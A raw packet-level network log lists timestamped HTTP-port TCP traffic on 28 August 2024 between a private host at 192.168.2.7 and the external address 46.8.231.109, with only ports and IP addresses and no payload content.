Aug 28, 2024 22:55:10.786571980 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.786633015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786644936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786650896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786658049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786670923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786681890 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.786698103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.786787987 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786794901 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786813021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786818981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786825895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786839962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786844015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.786858082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.786952972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786964893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786971092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.786986113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787000895 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787019014 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787080050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787098885 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787108898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787120104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787122965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787127972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787134886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787139893 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787142038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787151098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787162066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787185907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787318945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787331104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787334919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787339926 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787342072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787370920 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787389994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787461042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787467003 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787480116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787494898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787501097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787504911 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787508965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787518024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787518024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787525892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787538052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787545919 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787580013 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787743092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787749052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787761927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787767887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787775040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787781954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787794113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.787801981 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.787822008 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.791480064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791486025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791516066 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791522980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791534901 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791544914 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.791562080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791573048 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.791584969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791593075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.791596889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.791625023 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.792177916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792184114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792196035 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792232037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792233944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.792237997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792251110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792258024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.792274952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.792290926 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.869668961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869745970 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.869777918 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869785070 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869796991 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869803905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869815111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869829893 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.869853020 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.869921923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869930029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.869966984 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.869992018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871052980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871095896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871095896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871103048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871143103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871175051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871185064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871191978 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871225119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871324062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871332884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871336937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871349096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871375084 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871395111 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871440887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871448994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871494055 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871507883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871515036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871522903 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871541977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871567965 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871592999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871599913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871642113 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871670961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871676922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871706963 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871737957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871746063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871751070 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871783018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871820927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871825933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871839046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871845007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871872902 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871886015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.871957064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871963024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.871969938 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.872003078 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.872010946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.872045040 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873292923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873342037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873351097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873358011 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873384953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873404026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873409986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873416901 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873425007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873444080 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873471022 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873493910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873513937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873563051 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873605967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873611927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873617887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873624086 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873650074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873662949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.873742104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873749018 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873760939 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.873790026 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874140978 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874561071 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874572992 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874586105 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874624968 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874630928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874636889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874638081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874644995 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874665022 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874689102 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874738932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874744892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874758005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874795914 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874885082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874891996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874903917 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874910116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874917030 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874929905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.874934912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874960899 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.874969006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875519037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875534058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875540018 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875583887 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875627041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875633955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875644922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875650883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875664949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875683069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875694990 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875713110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875757933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875771999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875783920 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875790119 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875816107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875832081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875858068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875864983 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875876904 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875910044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.875967026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875974894 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.875987053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876027107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876024961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876034021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876048088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876077890 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876096010 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876142979 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876666069 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876677990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876683950 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876713991 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876739979 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876746893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876754045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876760960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876766920 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876785994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876815081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876840115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876844883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876885891 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876916885 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876923084 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876935005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876941919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876949072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876960039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.876966000 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876982927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.876995087 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.878361940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878410101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878417015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878427029 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.878458977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.878458977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.878468037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878474951 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878487110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878511906 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.878551960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878556967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.878595114 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.879461050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879508972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.879534960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879539967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879589081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879594088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879606962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879612923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879617929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.879647017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.879647017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.879677057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.879741907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.944829941 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944847107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944859028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944873095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944911003 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.944948912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944957018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.944962025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944976091 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.944988966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945002079 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945034027 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945075989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945089102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945101023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945113897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945115089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945127964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945144892 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945173025 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945312023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945326090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945337057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945349932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945353031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945367098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945378065 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945406914 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945542097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945554972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945566893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945578098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945580959 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945606947 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945616007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945627928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945636034 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945640087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945651054 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945658922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945672035 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945676088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945684910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945698977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945700884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.945725918 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.945750952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.946050882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946063995 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946074963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946091890 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946099997 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.946105957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946118116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946126938 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.946131945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946141958 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.946166992 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.946192026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946202040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.946212053 CEST	80	49702	46.8.231.109	192.168.2.7
